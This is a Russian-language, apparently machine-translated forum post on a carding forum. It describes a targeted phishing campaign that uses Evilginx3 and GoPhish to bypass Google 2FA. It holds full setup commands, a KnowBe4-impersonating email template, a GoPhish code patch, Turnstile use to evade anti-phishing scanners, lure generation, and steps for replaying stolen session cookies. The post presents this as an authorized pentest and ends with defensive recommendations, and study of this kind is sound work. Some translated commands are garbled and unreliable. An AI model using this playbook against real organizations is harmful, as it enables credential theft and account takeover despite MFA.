От нуля до героя: фишинговая кампания

Carding Forum

Professional
Messages
2,788
Reaction score
1,174
Points
113

Глава 0: Введение​

Предупреждение: Данный материал предоставлен исключительно в ознакомительных целях. Повторяйте эти действия на практике только с соответствующего разрешения и согласия! Автор не несет ответственности за последствия применения информации, полученной в данной статье.

Этим постом я начинаю серию статей о проведении фишинговой кампании, формальной целью которой является проверка сотрудников организации, а неформальной — демонстрация неэффективности политики многофакторной авторизации организации.

В этой статье описывается общая информация о фишинге. Глава «Подготовка» охватывает подход и подготовку; главы «Техническая реализация» и «Пример фишинговой кампании» связаны и определяют техническую и практическую реализацию; Глава «Результаты» представляет результаты обсуждаемой техники фишинга, и, наконец, в Главе «Рекомендации» вы найдете конкретные рекомендации о том, что делать. Если вы знакомы с фишингом, вы можете быстро перейти к Части 2 этой статьи.

Скучная вводная информация: фишинг — это тип социальной инженерии и мошенничества, при котором злоумышленник обманным путем пытается получить доступ к конфиденциальной информации. Основные типы фишинговых атак:
  • Обычный/классический фишинг — отправка электронных писем, которые выглядят как отправленные от известных организаций или даже личных контактов;
  • Spear Phishing – более целенаправленный подход, при котором атака направлена на конкретного человека или организацию. Электронные письма содержат персонализированную информацию, что делает их более убедительными;
  • Уэйлинг – это форма целевого фишинга, нацеленная на высокопоставленных чиновников или ключевых руководителей;
  • СМС-фишинг (Смишинг) — злоумышленники отправляют СМС-сообщения, якобы от имени банка, магазина или другой организации, с просьбой перейти по ссылке или предоставить личную информацию;
  • Вишинг – фишинговые атаки с использованием телефонных звонков. Злоумышленники звонят жертвам, выдавая себя за сотрудников банка или службы поддержки клиентов, и пытаются убедить их предоставить личную информацию или совершить финансовые транзакции;
  • Фарминг – атака, при которой злоумышленник перенаправляет пользователей с легитимных сайтов на поддельные сайты для кражи учетных данных. Это может быть достигнуто путем взлома или заражения DNS-серверов вирусом.
В некоторых случаях типы атак могут комбинироваться.

Многие организации анализируют фишинговые атаки и предоставляют статистику. Примеры реальной статистики для справки:

Обобщенные статистические данные за последние годы:
  • 2021: Зафиксировано огромное количество фишинговых атак, отчасти вызванных переходом на удаленную работу из-за пандемии COVID-19. Значительная часть этих атак была сосредоточена на сборе учетных данных (DataProt).
  • 2022: Фишинговые атаки остаются доминирующей угрозой, поскольку около 30% утечек данных связаны с фишингом. Эти атаки обычно приводят к краже конфиденциальных данных, которые затем используются в других мошеннических действиях, связанных с социальной инженерией (Comparitech).
  • 2023: Фишинговые атаки увеличились на 47,2% по сравнению с предыдущим годом, что свидетельствует о значительном росте киберугроз (zscaler). Google блокирует около 100 миллионов фишинговых писем ежедневно, что свидетельствует о масштабе проблемы (AAG IT Services).
  • 2024: Фишинг остается серьезной проблемой, поскольку сложные атаки используют ИИ, чтобы сделать фишинговые письма более убедительными. Ожидается, что фишинг останется одним из самых распространенных методов инициирования кибератак (StationX).
Общая тенденция из года в год — увеличение объема и изощренности атак, адаптация к условиям и следование тенденциям; возможно, именно сейчас ваша компания находится под прицелом. Фишинговые атаки в настоящее время являются одними из самых привлекательных для злоумышленников из-за низких затрат на организацию и высокой потенциальной эффективности. Успешно выполненная фишинговая атака может нанести значительный ущерб организации, требуя при этом минимальных ресурсов.

Глава 1: Подготовка​

Целевая фишинговая кампания (целевой фишинг) включает в себя несколько основных этапов:
  1. Постановка целей
  2. Сбор информации о цели
  3. Подготовка инфраструктуры
  4. Запуск кампании, сбор данных и проверка
  5. Отчет для клиента

Цели​

Первые два этапа связаны с OSINT, отдельной большой темой, поэтому обзор всех возможных вариантов я оставлю на будущее. Скажу лишь, что в рамках тестирования заказчик обычно предоставляет список сотрудников (их email) и согласовывает текст рассылки. Так было и в этот раз: заказчик хотел проверить осведомленность в вопросах безопасности сотрудников, имеющих ключевой доступ к ИТ-инфраструктуре и цифровым активам компании. Был сформирован список из более чем 40 человек — сотрудников отделов R&D, DevOps и IT-Ops, которые и стали целями моей атаки. В дальнейшем будет интересно провести рассылку по сотрудникам, теоретически менее квалифицированным в ИТ — отделам продаж и маркетинга, HR и т. д. — и сравнить ее результаты с полученными по ИТ-специалистам. Но не будем забегать вперед.

Инфраструктура​

Третий шаг — подготовка инфраструктуры. Его можно разделить на два этапа:
  • Независимо от целевой атаки подготовка: настройка фишингового сервера, почтового сервера или подготовка почтового сервиса, противодействие сетевым сканерам и антифишинговые решения. Подробнее в Главе 2.
  • Подготовка уникальна для каждой целевой фишинговой кампании: аренда домена и настройка записей, создание адресов электронной почты, подготовка шаблона рассылки, изменение или создание нового фишлета при необходимости и тестирование. Подробности представлены в Главе 3.

Список рассылки​

Четвертый этап — запуск кампании. Согласовав с заказчиком список рассылки, текст письма, время запуска и подготовив инфраструктуру, может показаться, что осталось только нажать кнопку запуска рассылки, но это далеко не конец. Не менее важно контролировать работу сервисов и фиксировать все действия пользователей. По возможности дублируйте всю полученную информацию, так как у вас есть только одна попытка провести фишинговую атаку, и в случае потери данных они теряются навсегда. Дополнительно рекомендую договориться с заказчиком о валидации данных, например, во время фишинговой кампании не только фиксировать полученные учетные данные, но и проверять их валидность. Делайте скриншоты и записывайте видео своего экрана, особенно моменты, связанные с получением доступа к конфиденциальной информации. Но никогда не используйте учетные данные без предварительного согласования с заказчиком и для доступа к сторонним сервисам — это может плохо закончиться!

Результаты и отчет​

Последний этап — отчет о проделанной работе, самая важная часть для заказчика и то, за что он платит. Заказчик, заказывающий услугу, ожидает получить не только сам процесс, но и результат, изложенный в отчете. С отчетом заказчик может продолжить работу по повышению своей безопасности: выявить слабые места, разработать меры по снижению рисков и, наконец, использовать статистику и анализ данных в дальнейшем. Поэтому фиксация и дублирование всех данных на предыдущем этапе крайне важны для минимизации вероятности потери информации. Важно помнить, что вне зависимости от успешности фишинговой кампании нельзя просто написать «все хорошо» или «все плохо». Еще до запуска фишинговой кампании проясните основные моменты, которые заказчик хочет видеть в отчете. Отчет должен включать как минимум следующие разделы:
  1. Модель злоумышленника, методология и цели фишинговой кампании;
  2. Объем работ (целевой домен, список рассылки, текст электронного письма, допустимые действия аудитора);
  3. Результат проведения фишинговой атаки и ее анализ;
  4. Рекомендации по результатам фишинговой кампании.

Глава 2: Техническая реализация​

Архитектура​

Рассматриваемая мной схема фишинговой кампании является примером атаки MitM с целью перехвата учетных данных доступа и сеансов атакованных сотрудников, включая подтверждение двухфакторной авторизации (2FA) с помощью кодов TOTP и push-уведомлений.

Компоненты инфраструктуры:
  • Фишинговый сервер. Любой VPS сервер с Linux подойдет в качестве фишингового сервера. Например, AWS EC2, особенно на данный момент EC2 инстанс на один год, можно получить бесплатно ;
  • Сервис для управления фишинговыми кампаниями GoPhish * от Джордана Райта;
  • Обратный прокси-сервер для перехвата запросов Evilginx 3 * by Kuba Gretzky;
  • Почтовый сервер или сервис для рассылки почты по протоколу SMTP. Настройте записи домена SPF, DCIM и MX для этого почтового сервиса. На данный момент вы можете бесплатно использовать сервис ZOHO Mail с рассылкой до 150 писем в день;
  • Cloudflare Turnstile не является обязательным компонентом, но отлично подходит для защиты фишинговой страницы от сканирования автоматизированными ботами и обнаружения антифишинговыми решениями. Услуга бесплатна для использования.
* Evilginx и GoPhish могут использоваться как независимые сервисы, но удобнее использовать решение evilgophish от Дилана Эванса. Этот проект включает в себя модифицированные версии Evilginx и GoPhish для поддержки работы с одной базой данных, а также дополнительные возможности, такие как модули для рассылки SMS и генерации QR-кодов, сервис evilfeed для получения уведомлений и множество других изменений, о которых рекомендую прочитать на странице проекта.

Шаги​

Пример реализации архитектуры для фишинговой атаки:

1.jpg


Цифры на схеме соответствуют всем этапам фишинга пользователей:
  1. Оператор/Аудитор настраивает и проводит фишинговую кампанию в сервисе GoPhish;
  2. GoPhish использует протокол SMTP для отправки писем через почтовый сервис;
  3. Почтовая служба отправляет почту по списку рассылки сотрудников;
  4. Сотрудники, проходящие тестирование, получают электронные письма и нажимают на ссылку;
  5. Cloudflare Turnstile проверяет с помощью внутреннего алгоритма, что пользователи, открывшие фишинговый сайт, не являются ботами/скрейперами и решают зайти на фишинговую страницу;
  6. Обратный прокси-сервер Evilginx получает запрос, сверяет URL-адрес с данными фишинговой кампании и идентифицирует пользователя из списка рассылки (идентификация пользователя возможна только в том случае, если для каждого уникального получателя на стороне GoPhish исходного списка рассылки запущены отдельные кампании, подробнее об этом в следующей главе);
  7. Фишлет — это специальный YAML-файл, описывающий правила перезаписи домена и обработки запросов для каждой службы в рамках фишинговых кампаний. Evilginx использует данные из фишлета для подстановки значений в запросах и захвата учетных данных доступа (логины, пароли, TOTP, сеансы/cookie);
  8. Запросы на авторизацию сотрудников передаются на целевой сайт, например, портал авторизации. Поскольку это атака MitM, ответ от службы авторизации отправляется обратно на прокси-сервер Evilginx;
  9. Evilginx извлекает учетные данные доступа из запросов пользователя и сеансовые/cookies из ответа и предоставляет доступ к ним оператору. Информация об успешном захвате данных передается в сервис GoPhish для фиксации в базе данных и учета в статистике;
  10. Оператор получает уведомления и статистику о статусе фишинговой кампании и может получить учетные данные доступа и перехваченные сеансы атакованных сотрудников;
  11. Оператор использует перехваченные учетные данные на сервисе авторизации через логин для подтверждения действительности и успешного фишинга. Этот шаг не является обязательным и должен выполняться после согласования с клиентом для исключения несанкционированного доступа к конфиденциальной информации.

Глава 3: Пример фишинговой кампании​

Сценарий​

Как я уже писал ранее, задача состояла в проведении фишинговой кампании по списку почтовых адресов 42 сотрудников отделов разработки и администрирования, согласованному с заказчиком.
Сайт компании: www.[TARGET_DOMAIN].com
Почтовый домен: [TARGET_DOMAIN].com

В качестве фишингового текста было решено использовать текст из типичной рассылки от сервиса обучения KnowBe4 . Сотрудники организации систематически получают сообщения от этого сервиса в рамках антифишингового обучения. Текст этого сообщения однообразен, а сообщение о необходимости прохождения обучения вызывает желание либо отложить его, либо сделать это побыстрее и не вспоминать о нем. Такая рассылка — отличный кандидат для фишинговой кампании. Типичный текст рассылки:
Уважаемый [УДАЛЕНО],
Теперь вы зачислены на курс обучения по повышению осведомленности в области безопасности [УДАЛЕНО] 2024. Вы должны завершить этот курс до [УДАЛЕНО] 2024.
Задания, на которые вы зачислены, отображаются ниже:
- Общие угрозы 2023 года
- Ссылки и вложения: подумайте, прежде чем нажать
Чтобы начать обучение, воспользуйтесь этой ссылкой:

Шаблон для GoPhish:
<p>Уважаемый {{.FirstName}} {{.LastName}},<br />
<br />
Теперь вы зачислены на курс обучения по повышению осведомленности в области безопасности, который состоится в апреле 2024 года. Вам необходимо завершить этот курс до 1 апреля 2024 года.<br />
<br />
Задания, на которые вы зачислены, отображаются ниже:<br />
- <a href="{{.URL}}">Распространенные угрозы 2023 года</a><br />
- <a href="{{.URL}}">Ссылки и вложения: подумайте, прежде чем нажать</a><br />
<br />
Чтобы начать обучение, воспользуйтесь этой ссылкой:<br />
<a href="{{.URL}}">https://training.[TARGET_DOMAIN].com/knowbe4/ui/login/YWdi1NvmfbQ==</a></p>
<p>{{{.Трекер}}}</p>

Дополнительную информацию о подготовке шаблонов и применении переменных см. в документации: https://docs.getgophish.com/user-guide/template-reference.

В качестве домена для отправки писем и настройки фишингового сервера был предоставлен в аренду домен, аналогичный сайту целевой компании, но с другим TLD: [TARGET_DOMAIN]. org .

Сотрудники целевой организации используют учетные записи Google с 2FA для аутентификации на сервисах через SSO. Было принято решение проксировать через Evilginx доступы к accounts.google.com для перехвата сеанса пользователя после успешной авторизации. Схема целевой фишинговой атаки:

2.jpg


Фишлет​

В настоящее время проекты evilginx3 и evilgophish не имеют готовых фишлетов для Google Auth, поэтому вам нужно написать их самостоятельно. Документация по подготовке фишлетов доступна здесь: https://help.evilginx.com/docs/phishlet-format.

Пример моего фишлета для захвата сеансов авторизации Google приведен в Приложении 1. Особенностью моей реализации является скрытие кнопок авторизации по ключу, перенаправление с авторизации по ключу на альтернативные методы входа и замена заглушки в случае запроса на смену пароля.

Кроме того, реализована автоматическая подстановка адреса электронной почты цели в поле авторизации посредством JS-инъекции. В результате сотруднику не нужно вводить логин, что повышает доверие к фишинговой странице авторизации.

Модификация GoPhish​

Чтобы реализовать уникальные ссылки для каждого пользователя, нам пришлось реализовать косяк, поскольку GoPhish не поддерживает передачу уникальных параметров через ссылки, и, таким образом, чтобы реализовать целевую фишинговую кампанию для каждого уникального адреса электронной почты, нам пришлось создать уникальную кампанию с уникальной ссылкой с параметрами на стороне GoPhish.

Чтобы не вводить все параметры вручную через веб-интерфейс, были написаны два скрипта:

В процессе тестирования ссылок с параметрами была выявлена проблема во взаимодействии evilginx и gophish. В gophish код добавления параметров в URL реализован в /models/template_context.go:
Code:
phishURL, _ := url.Parse(templateURL)
q := phishURL.Query()
q.Set(RecipientParameter, rid)
phishURL.RawQuery = q.Encode()

trackingURL, _ := url.Parse(templateURL)
trackingURL.Path = path.Join(trackingURL.Path, "/track")
trackingURL.RawQuery = q.Encode()

В приведенном выше коде параметр в строке URL добавляется без сохранения последовательности. В результате RecipientParameter (`account_id`) может быть как первым параметром, так и последним. Для evilginx параметр, идентифицирующий пользователя (rid), должен быть последним в строке URL. Для этого необходимо модифицировать код gophish (заменить предыдущие строки на следующие):
Code:
phishURL, _ := url.Parse(templateURL)
q := phishURL.Query()
q.Del(RecipientParameter)
phishURL.RawQuery = q.Encode()
if len(phishURL.RawQuery) > 0 {
    phishURL.RawQuery += "&"
}
phishURL.RawQuery += RecipientParameter + "=" + url.QueryEscape(rid)

trackingURL, _ := url.Parse(templateURL)
trackingURL.Path = path.Join(trackingURL.Path, "/track")
q = url.Values{}
q.Set(RecipientParameter, rid)
trackingURL.RawQuery = q.Encode()

Окончательный алгоритм с момента формирования списка до взаимодействия цели с фишинговой страницей выглядит следующим образом:
  1. Настраиваем gophish (шаблон письма и SMTP) и evilginx;
  2. Создать список рассылки в формате CSV ( имя,фамилия,адрес электронной почты,должность,группы );
  3. Импортируйте его в evilginx и экспортируйте в файл. Evilginx шифрует все параметры алгоритмом RC4 и создает ссылку по следующему шаблону: https://{DOMAIN}/{PATH}?{RANDOM}={BASE64(RC4_STRING)}
  4. Запустить скрипт gophish_create_groups.py, в результате которого в базе данных gophish для каждой записи в списке рассылки будет создана уникальная группа;
  5. Запустите скрипт gophish_create_compaigns.py. Этот скрипт запустит новые фишинговые кампании для каждой группы, добавив уникальный целевой идентификатор в конец URL для отслеживания:
    https://{DOMAIN}/{PATH}?{RANDOM}={BASE64(RC4_STRING)}&{rid}={unique_id}
  6. Каждое письмо содержит пиксель отслеживания в формате:
    https://{DOMAIN}/{PATH}/track?{rid}={unique_id}
    и уникальную ссылку с параметрами для цели:
    https://{DOMAIN}/{PATH}?{RANDOM}={BASE64(RC4_STRING)}&{rid}={unique_id}
  7. Открытие электронного письма будет зафиксировано evilginx и занесено в базу данных gophish;
  8. При нажатии на ссылку откроется страница с проверкой Cloudflare Turnstile;
  9. После прохождения проверки и нажатия соответствующей кнопки пользователю будет открыто окно авторизации Google Auth со встроенным JS-кодом для скрытия и перезаписи некоторых функций, а также подстановки его адреса электронной почты в поле логина после расшифровки строки из параметра URL и активации перехода на этап ввода пароля.

Турникет Cloudflare​

Cloudflare Turnstile — альтернатива классической CAPTCHA без необходимости перенаправления всего трафика через сервисы Cloudflare. Внедрение этого компонента перед переходом на фишинговую страницу позволяет ограничить работу автоматических сканеров и антифишинговых решений, чтобы не дать ботам распознать сайт как фишинговый.

3.jpg


Этот компонент требует генерации токенов в вашем аккаунте Cloudflare и подготовки HTML-страницы с проверкой. Пример HTML-страницы доступен в репозитории evilgophish: https://github.com/fin3ss3g0d/evilgophish/blob/main/evilginx3/templates/turnstile.html.

Пример HTML-страницы (образец в Приложении 4):

4.jpg


Запуск и настройка сервера​

Evilginx​

Подключение к фишинговому серверу, установка компонентов и настройка параметров:
# Подключиться к серверу с переадресацией портов:
# 3333: Веб-интерфейс GoPhish
# 8443: Веб-сервер Evilginx (необязательно)
# 8025: Веб-интерфейс MailHog (необязательно)
# 1337: веб-интерфейс evilfeed (необязательно)
# 8090: прокси-сервер socks
ssh ubuntu@[TARGET_DOMAIN].org -L 3333:127.0.0.1:3333 -L 8443:127.0.0.1:443 -L 8025:127.0.0.1:8025 -L 1337:127.0.0.1:1337 -D 8090
# Изменения конфигурации системы для освобождения порта 53 (Ubuntu)
sudo su
resolver status
systemctl stop systemd-resolved.service
systemctl disable systemd-resolved.service
echo 'search eu-north-1.compute.internal' > /etc/resolv.conf
echo 'nameserver 8.8.8.8.8' >> /etc/resolv.conf
echo 'nameserver 1.1.1.1.1' >> /etc/resolv.conf
exit
# Установка компонента для тестирования SMTP/электронной почты/ссылок
go install github.com/mailhog/MailHog@latest
/home/ubuntu/go/bin/MailHog -api-bind-addr 127.0.0.1:8025 -ui-bind-addr 127.0.0.1:8025 -smtp-bind-addr 127.0.0.1:1025
# Перед следующими командами необходимо клонировать evilgophish с измененным кодом (исходная папка) из вашего репозитория или скопировать его через scp в каталог текущего пользователя (~/source)
cp -r source ...
cd ../evilgophish
chmod +x setup.sh
# Запустить установку с параметрами:
sudo ./setup.sh [TARGET_DOMAIN].org обучение false true account_id
# Запустить сервер GoPhish
./гофиш
# Копируем подготовленный фишлет и шаблон в целевые каталоги:
cp ~/source/google.yaml evilgophish/evilginx3/phishlets/
cp ~/source/turnstile.html evilgophish/evilginx3/templates/
# Запустить Evilginx (значения для опции турникета: https://dash.cloudflare.com/ -> turnstile)
sudo ./evilginx3 -feed -g ../gophish/gophish.db -turnstile 0x4AAAAAAAAAAAWwh9[SNIP]:0x4AAAAAAAAAAAWwh[SNIP]
# Настройте кампанию в терминале Evilginx:
config domain [TARGET_DOMAIN].org
config unauth_url https://[TARGET_DOMAIN].com/
config ipv4 external [EXTERNAL_IP]
phishlets hostname google [TARGET_DOMAIN].org
phishlets unauth_url google https://www.[TARGET_DOMAIN].com/
phishlets enable google
phishlets get-hosts google
# после предыдущей команды настройте A-записи для домена:*
[EXTERNAL_IP] training.[TARGET_DOMAIN].org
[EXTERNAL_IP] accounts.[TARGET_DOMAIN].org
[EXTERNAL_IP] myaccount.[TARGET_DOMAIN].org
[EXTERNAL_IP] mail.[TARGET_DOMAIN].org
[EXTERNAL_IP] chat.[TARGET_DOMAIN].org
[EXTERNAL_IP] apis.[TARGET_DOMAIN].org
[EXTERNAL_IP] play.[TARGET_DOMAIN].org.
[EXTERNAL_IP] www.[TARGET_DOMAIN].org
[EXTERNAL_IP] lh3.[TARGET_DOMAIN].org
[EXTERNAL_IP] www.[TARGET_DOMAIN].org
[EXTERNAL_IP] ssl.[TARGET_DOMAIN].org
[EXTERNAL_IP] accounts.[TARGET_DOMAIN].org
[EXTERNAL_IP] signaler-pa.[TARGET_DOMAIN].org
[EXTERNAL_IP] ajax.[TARGET_DOMAIN].org
lures create google
lures
lures edit 0 redirect_url https://www.[TARGET_DOMAIN].com/
lures edit 0 path /knowbe4/ui/login
lures get-url 0
https://training.[TARGET_DOMAIN].org/knowbe4/ui/login
# Запустить службу уведомлений
./evilfeed
* Настройка A-записей домена обязательна, поскольку на следующих этапах evilginx попытается выдать сертификаты TLS для каждого домена через службу Let's Encrypt.

Я не хочу подробно описывать каждый шаг настройки evilginx, тем более, что они интуитивно понятны и описание каждой команды можно легко найти в официальной документации:

GoPhish​

Используя веб-интерфейс GoPhish, настройте пароль администратора, шаблон письма и параметры SMTP для рассылки: https://127.0.0.1:3333/ (пароль администратора для первого входа ищите в журнале запуска):
  1. https://127.0.0.1:3333/templates – настройка шаблона в режиме HTML-редактора;
  2. https://127.0.0.1:3333/sending_profiles – настройка профиля рассылки SMTP. Для тестирования мы запустили сервис MailHog (порт SMTP 1025 и порт веб-интерфейса 8025) и настроили отправку через "Host: 127.0.0.1:1025". После запуска тестовой рассылки вы будете получать письма на веб-интерфейс: http://127.0.0.1:8025/.
Скопируйте "API Key" с этой страницы: https://127.0.0.1:3333/settings. Укажите этот ключ, а также имя шаблона письма и настройки SMTP в скриптах создания групп и запуска рассылок.

5.jpg


Запуск фишинговой кампании​

Следующий шаг — генерация уникальных ссылок с параметрами в evilginx для создания групп и кампаний в gophish. Evilginx поддерживает работу с CSV-файлами. Пример исходного файла со списком адресов для рассылки (тестовые данные):
first_name,last_name,email,position,groups
Test1,Test11,test1@[TARGET_DOMAIN].com,TEST1,0
Test2,Test22,test2@[TARGET_DOMAIN].com,TEST2,0

Команда для импорта файла и создания файла с уникальными ссылками и параметрами:
приманки get-url 0 импорт /home/ubuntu/targets/[TARGET_DOMAIN]_0.csv экспорт /home/ubuntu/targets/urls_0.txt

Содержимое файла urls_0.txt после выполнения предыдущей команды:
https://training.[TARGET_DOMAIN].org/knowbe4/ui/login?yc=kDDDN16oZaHj-xUl2xxzeuedpbGyV9[SNIP]aVrF_6bg2DsgmOkydJzDJQCu5Jrg ; email="test1@[TARGET_DOMAIN].com" position="TEST1" groups="0" first_name="Test1" last_name="Test11"
https://training.[TARGET_DOMAIN].org/knowbe4/ui/login?ht=SU0LRDg6zxx8qbxVAwrWc5CA9MUC3[SNIP]0k6tbrRJjuVtuPZi8uwvd5nzzLTl ; first_name="Test2" last_name="Test22" email="test2@[TARGET_DOMAIN].com" position="TEST2" groups="0"

Внесите изменения перед запуском следующих скриптов, а именно укажите gophish API_KEY, имя шаблона электронной почты и SMTP-рассылку.

Начать генерацию групп: python3 gophish_create_groups.py urls_0.txt
Начать фишинг: python3 gophish_create_compaigns.py urls_0.txt

Отслеживайте ход кампании на gophish: https://127.0.0.1:3333/ Получайте сообщения о событиях в реальном времени: http://127.0.0.1:1337/ Шпаргалка по работе с evilginx:
сеансы → список сеансов и статус захвата реквизита:
6.jpg
сеансы <число> → подробности сеанса:
7.jpg

Если проверка достоверности полученных данных согласована с заказчиком, выполните следующие действия:
  1. Ваш IP-адрес должен совпадать с IP-адресом фишингового сервера, поэтому настройте браузер на работу через SOCKS-прокси 127.0.0.1:8090 (соответствующая опция `-D 8090` была указана в инструкции по настройке сервера);
  2. Откройте страницу авторизации: https://accounts.google.com/
  3. Скопируйте файлы cookie из сеанса и импортируйте их в свой браузер, например, через расширение: https://cookie-editor.com/
  4. Сделайте скриншоты, чтобы запечатлеть успешную авторизацию.

Глава 4: Результаты​

Фишинговая кампания, представленная в данной статье, длилась один день. Атакованные сотрудники организации — ИТ-специалисты из отделов разработки и администрирования — 42 человека. Целевая организация участвует в тренинге по противодействию фишинговым атакам.

События с начала атаки:
00:00
: начало рассылки - успешно доставлено 42 письма;
00:30 : зафиксированы первые переходы по ссылкам;
00:40 : первый успешный захват сеанса авторизации (администратор);
- - - множество переходов по ссылкам и еще два захваченных сеанса - - -
19:05 : зафиксировано сообщение в корпоративном мессенджере:

8.jpg


21:15 : инициирована повторная отправка письма;
- - - множество переходов по ссылкам - - -
23:55 : сотрудники уведомлены о фишинговой атаке в корпоративном мессенджере, и администраторы организации блокируют домен фишинговой почты.

9.png


Зарегистрированные результаты​

По моему мнению, атака оказалась успешной для потенциального злоумышленника.

10.png
11.png


Как вы можете видеть на рисунке, около ¾ сотрудников просто проигнорировали письма. Казалось бы, это неплохо — по моему опыту, в среднем на фишинговые письма реагируют 25–35% получателей — казалось бы, результат ближе к минимуму. Однако не будем забывать, что это разработчики и администраторы, специалисты по ИТ, от которых следует ожидать большей внимательности и осведомленности о рисках.

Двенадцать человек (19%) перешли по ссылке, и четверть из них оставили свои данные для авторизации на фишинговой странице.

Успешно перехвачены три сеанса пользователей с подтвержденной 2FA (в том числе с правами администратора организации), что позволило получить доступ к внутренним сервисам организации заказчика: почте, ресурсам разработки, мониторингу ИТ-инфраструктуры и системам администрирования.

Трудно переоценить ущерб, который мог быть нанесен, если бы фишинговую атаку организовали настоящие хакеры. При этом финансовая стоимость атаки составила $19 (аренда доменного имени). При такой стоимости очевидно, что фишинг является настоящей золотой жилой для различных киберпреступников, и текущий рост этого вида атак будет только набирать обороты.

Полученные результаты показывают высокую эффективность представленных в статье методик и необходимость внедрения методов противодействия им. Также важно отметить неэффективность многофакторной авторизации с помощью TOTP-кодов и push-уведомлений. Использование многофакторной авторизации создает иллюзию безопасности в условиях фишинговых атак, усыпляя бдительность сотрудников (в том числе, как мы видели, и тех, кто должен отвечать за безопасную среду в организации).

Глава 5: Рекомендации​

Рекомендации по снижению риска​

  • Проводите регулярные тренинги по кибербезопасности, чтобы сотрудники могли распознавать фишинговые письма;
  • Назначайте пользователям только те права доступа, которые им необходимы для выполнения их работы. Это поможет смягчить ущерб в случае успешной фишинговой атаки;
  • Разработать и внедрить план действий на случай фишинговой атаки для быстрого реагирования и минимизации ущерба. Включить процедуры уведомления и расследования.

Рекомендации по противодействию​

Реализация аппаратных (CTAP) и паролей решений может помочь противодействовать этому типу фишинга. Эти методы эффективны, поскольку токен/ключ привязан к домену авторизации, и технически невозможно пройти аутентификацию через сторонний (фишинговый) домен.

Автор: @resource_not_found
Source
 
Top